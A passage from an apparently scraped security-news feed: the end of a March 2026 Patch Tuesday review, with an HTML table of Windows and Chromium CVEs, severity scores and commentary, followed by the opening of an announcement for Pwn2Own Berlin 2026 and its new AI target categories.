  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Information Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23660"><span><span> </span>CVE-2026-23660 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Admin Center in Azure Portal
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24293"><span><span> </span>CVE-2026-24293<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25176"><span><span> </span>CVE-2026-25176<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25178"><span><span> </span>CVE-2026-25178<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25179"><span><span> </span>CVE-2026-25179<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23656"><span><span> </span>CVE-2026-23656<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows App Installer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25171"><span><span> </span>CVE-2026-25171<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Authentication Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23671"><span><span> </span>CVE-2026-23671<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Bluetooth RFCOM Protocol Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24292"><span><span> </span>CVE-2026-24292<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Connected Devices Platform Service
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24295"><span><span> </span>CVE-2026-24295<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24296"><span><span> </span>CVE-2026-24296<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25189"><span><span> </span>CVE-2026-25189<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows DWM Core Library Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25174"><span><span> </span>CVE-2026-25174<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Extensible File Allocation Table
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25168"><span><span> </span>CVE-2026-25168<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25169"><span><span> </span>CVE-2026-25169<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><span><span> </span>CVE-2026-23668<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25180"><span><span> </span>CVE-2026-25180<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25170"><span><span> </span>CVE-2026-25170<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Hyper-V Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24297"><span><span> </span>CVE-2026-24297<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kerberos Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24287"><span><span> </span>CVE-2026-24287<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24289"><span><span> </span>CVE-2026-24289<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26132"><span><span> </span>CVE-2026-26132<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24288"><span><span> </span>CVE-2026-24288<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Mobile Broadband Driver Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25175"><span><span> </span>CVE-2026-25175<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows NTFS Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><span><span> </span>CVE-2026-23669<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Print Spooler Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24290"><span><span> </span>CVE-2026-24290<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Projected File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23673"><span><span> </span>CVE-2026-23673<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Resilient File System (ReFS)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25172"><span><span> </span>CVE-2026-25172<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25173"><span><span> </span>CVE-2026-25173<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26111"><span><span> </span>CVE-2026-26111<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25185"><span><span> </span>CVE-2026-25185<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Shell Link Processing Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.3</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24294"><span><span> </span>CVE-2026-24294<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26128"><span><span> </span>CVE-2026-26128<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25166"><span><span> </span>CVE-2026-25166<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows System Image Manager Assessment and
  Deployment Kit (ADK) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25188"><span><span> </span>CVE-2026-25188<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Telephony Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23672"><span><span> </span>CVE-2026-23672<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Universal Disk Format File System
  Driver (UDFS) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25187"><span><span> </span>CVE-2026-25187<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Winlogon Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3536"><span><span> </span>CVE-2026-3536 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3536 Integer overflow in
  ANGLE<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3538"><span><span> </span>CVE-2026-3538 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3538 Integer overflow in
  Skia<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3539"><span><span> </span>CVE-2026-3539 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3539 Object lifecycle
  issue in DevTools<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3540"><span><span> </span>CVE-2026-3540 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3540 Inappropriate
  implementation in WebAudio<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3541"><span><span> </span>CVE-2026-3541 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3541 Inappropriate
  implementation in CSS<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3542"><span><span> </span>CVE-2026-3542 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3542 Inappropriate
  implementation in WebAssembly<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3543"><span><span> </span>CVE-2026-3543 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3543 Inappropriate
  implementation in V8<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
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  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3544"><span><span> </span>CVE-2026-3544 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3544 Heap buffer overflow
  in WebCodecs<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3545"><span><span> </span>CVE-2026-3545 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3545 Insufficient data
  validation in Navigation<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
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  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, they are all cloud-native and require no user action. Microsoft has already remediated the vulnerabilities.</p><p class="">Moving on to the other code execution bugs, the vulnerabilities in SharePoint Server pop out first. Both require authentication, but it’s essentially the lowest level of authentication, so these would be ideal cases for lateral movement within an enterprise. There are the standard open-and-own cases within Office components. There an interesting sounding bug in the Windows Mobile Broadband Driver that requires physical access, but Microsoft doesn’t elaborate on the attack scenario beyond that fact. The bug in the System Image Manager Assessment and Deployment Kit (ADK) requires authentication. The bug in GDI requires user interaction. The remaining code execution bugs are in the RRAS protocol. We’ve seen bugs in this component in the past, but never in the wild. I wouldn’t ignore these, but I wouldn’t rush them out either.</p><p class="">Similar to last month, updates for Elevation of Privilege (EoP) bugs make up nearly half of this month’s release. And as we saw last month, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. The bugs in SQL Server allow attackers to elevate to SQL sysadmin privileges. The bug in the Azure MCP Server is more complex. It allows attackers to obtain the permissions associated with the MCP Server’s managed identity, which lets them perform actions that the managed identity is able to reach. The bug in the Azure AD SSH Login extension for Linux leads to root access, and it won’t be easy to patch. You’ll need to run the update instructions from the command line on each affected system. That’s the same case for the bug in the Linux Azure Diagnostic extension (LAD). There’s an odd bug in the Hybrid Worker Extension (Arc‑enabled Windows VMs) that leads to “ELEVATED” privileges, which is something I’ve never seen before. The bug in the Broadcast DVR component allows an attacker to go from low integrity level up to medium. There’s a bug listed as an EoP in the Push message Routing Service, but reading the description, Microsoft notes it could lead to an information disclosure. It’s likely this is an error and should be an Information Disclosure bug. The final EoP is in the Azure Portal Windows Admin Center and leads to SYSTEM. However, there’s no patch to remediate this bug. Instead, you need to install the latest version of the Windows Admin Center extension through the Azure Portal by hand. </p><p class="">There are two security feature bypass patches in the March release. The first is a bypass of the MapURLToZone method, which (as expected) allows attackers to bypass MapURLToZone protections. The third bypass is in Kerberos and could allow an attacker to either view some sensitive information or make changes to “disclosed” information. This is a race condition that occurs while the group policy is being reapplied, so the window to exploit this would be extremely small.</p><p class="">Looking at the remaining info disclosure bugs getting patched this month, only two result in info leaks consisting of unspecified memory contents or memory addresses. Ther others provide more interesting results. There are three bugs in the Azure IoT Explorer have some wide-ranging implications. According to Microsoft, exploitation could result in, “device connection information, authentication tokens, request data, file paths, and other information transmitted between the application and the IoT Hub.” The bug in Authenticator almost reads like a security feature bypass, as exploit results in the disclosure of a one‑time sign‑in code or authentication deep link. The attacker would receive the sign‑in information and could potentially use it to authenticate as the user, allowing access to information or services available to that account. The last info disclosure bug is in the Accessibility Infrastructure and allows an attacker to gain secrets or privileged information belonging to the user of the affected application.</p><p class="">There are only four spoofing bugs in the March release. The first is in SharePoint server and manifests as an XSS. The second bug is a Server-Side Request Forgery (SSRF) in the Azure IoT Explorer. The remaining two are a bit more cryptic. The bug in Windows Shell Link Processing results from the “exposure of sensitive information to an unauthorized actor,” and could lead to spoofing. That sounds like credential exposure, but it’s not explicitly called out. The final spoofing bug results from the insufficient verification of data authenticity in Windows App Installer. Again, this sounds vaguely like credential reflection, but without further information, we can only speculate. </p><p class="">Finally, there are four denial-of-service (DoS) bugs in the release, including one that’s listed as publicly known in the .NET Framework. As usual, Microsoft provides no actionable information about these bugs.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I plan on being at RSA for the first time in my career, so if you’re around, please stop by and say hello. I like it when people say hello. Otherwise, I’ll be back on April 14 with my assessment of that patch Tuesday release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Announcing Pwn2Own Berlin for 2026]]></title>
<description><![CDATA[If you just want to read the contest rules, click here. Willkommen zurück, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and OffensiveCon. Outside of...]]></description>
<link>https://tsecurity.de/de/3694471/it-security-nachrichten/announcing-pwn2own-berlin-for-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694471/it-security-nachrichten/announcing-pwn2own-berlin-for-2026/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>If you just want to read the contest rules, click </em><a href="https://www.zerodayinitiative.com/Pwn2OwnBerlin2026Rules.html" target="_blank"><em>here</em></a><em>.</em></p><p class=""> </p><p class="">Willkommen zurück, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and <a href="https://www.offensivecon.org/" target="_blank">OffensiveCon</a>. Outside of our <a href="https://www.youtube.com/shorts/Xj9Du8iuXCw" target="_blank">shipping troubles</a>, we had an amazing time and can’t wait to get back.</p><p class="">Last year, we added <strong>Artificial Intelligence</strong> as a category with great results. This year, we’re expanding this and splitting it into multiple different categories: AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products. In last year’s contest, NVIDIA targets had wins, losses, and collisions, so it will be interesting to see how they fare this year. The folks from <strong>AWS </strong>wanted to get into the fray as well, so they stepped up to co-sponsor this year’s event, which allows us to increase the reward for bugs in Firecracker. Of course, we have all of the returning categories as well, including web browsers, containers, servers, virtualization, and operating systems. There’s more than $1,000,000 in cash and prizes available for contestants. Last year, we awarded $1,078,750 for 28 unique 